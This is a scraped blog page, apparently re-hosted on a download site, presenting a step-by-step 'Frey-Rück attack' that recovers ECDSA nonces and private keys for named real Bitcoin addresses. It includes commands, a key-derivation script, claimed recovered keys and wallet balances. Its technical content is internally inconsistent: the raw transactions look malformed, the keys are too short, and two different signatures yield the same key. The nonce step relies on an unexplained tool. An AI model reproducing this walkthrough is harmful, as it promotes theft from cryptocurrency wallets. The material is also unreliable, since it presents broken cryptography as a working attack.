<p><code>PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 12Pm2muhQKu
WIF: KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxzt
HEX: 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a4.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-886"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-23-1024x450.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-889"></figure>
<p><code>BALANCE: $ 706.27</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><strong><code>№5</code></strong></p>
<p>With detailed cryptanalysis, we also found a critical in Bitcoin Address:</p>
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-9.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-673"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-10.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-675"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-25-1024x94.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-908"></figure>
<pre class="wp-block-code"><code>RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006abf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb3a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006abf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb3a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-86-1024x253.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1067"></figure>
<pre class="wp-block-code"><code>R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006abf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb3a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-87-1024x318.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1069"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-88-1024x453.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1070"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006abf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb3a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key "K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-89-1024x98.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1075"></figure>
<p><code>(0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
point2gen = (0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-90.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1078"></figure>
<p><code>PrivKey = 4c708ac0c78e07552fd2ad9d0baee702b5b163b97f1e7200c007b</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF: KynJKoLwF9jKt5k
HEX: 4c708ac0c78e07552fd2ad9d0baee702b5b163b97f1e7200c007b</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a5.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-912"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-26-1024x444.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-914"><figcaption><strong><code>www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</code></strong></figcaption></figure>
<p><code>BALANCE: $ 702.32</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><em>The potential threat of losing BTC coins lies in the critical of the Bitcoin blockchain transaction, so we strongly recommend that e always update the software and use only devices.</em></p></blockquote>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>With detailed cryptanalysis, we also found a critical in <strong><a href=" target="_blank" rel="noreferrer noopener">e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea</a></strong> for the same Bitcoin Address<strong><code> TXID:</code></strong><strong><a href=" target="_blank" rel="noreferrer noopener"></a></strong></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-27-1024x97.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-917"></figure>
<pre class="wp-block-code"><code>RawTX = 0bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b0902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000016a00000000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 0bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b0902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000016a00000000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-91-1024x254.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1080"></figure>
<pre class="wp-block-code"><code>R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>0bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b0902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000016a00000000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-92-1024x310.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1082"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-93-1024x453.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1084"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
RawTX = 0bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b0902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff0000000016a00000000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key "K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-94-1024x91.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1087"></figure>
<p><code>(0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
point2gen = (0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-95.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1089"></figure>
<p><code>PrivKey = 4c708ac0c78e07552fd2ad9d0baee702b5b163b97f1e7200c007b</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF: KynJKoLwF9jKt5k
HEX: 4c708ac0c78e07552fd2ad9d0baee702b5b163b97f1e7200c007b</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a5.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-912"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-26-1024x444.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-914"><figcaption><strong><code>www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</code></strong></figcaption></figure>
<p><code>BALANCE: $ 702.32</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Source</a></strong></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">ATTACKSAFE SOFTWARE</a></strong></p>
<p><strong><a href="" target="_blank" rel="noreferrer noopener">
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Video tutorial:
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Source:
<hr class="wp-block-separator has-alpha-channel-opacity">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/018-1024x576.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1100"></figure>
<p> </p>
</div><!-- .entry-content -->
---
---
| | Donation Address |
| --- | --- |
| ♥ __BTC__ | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ __ETH__ | 0xaBd66CFf19184b3297d651f7b90bf |
项目信息
开发语言：HTML
Star 数：13
技术要点
该项目属于安全软件方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Implement Frey-Rück Attack to get the secret key “K” (NONCE) / Critical vulnerability in the Bitcoin展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。
使用与学习建议
1. 下载源码压缩包，解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证，避免影响生产系统。
免责声明
本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | Frey-Ruck-Attack - Implement Frey-Rück Attack to get the secret key “ |
| 所属分类 | 安全软件 |
| 发布作者 | admin |
| 发布时间 | 2026-10-05 22:59:08 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 407 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |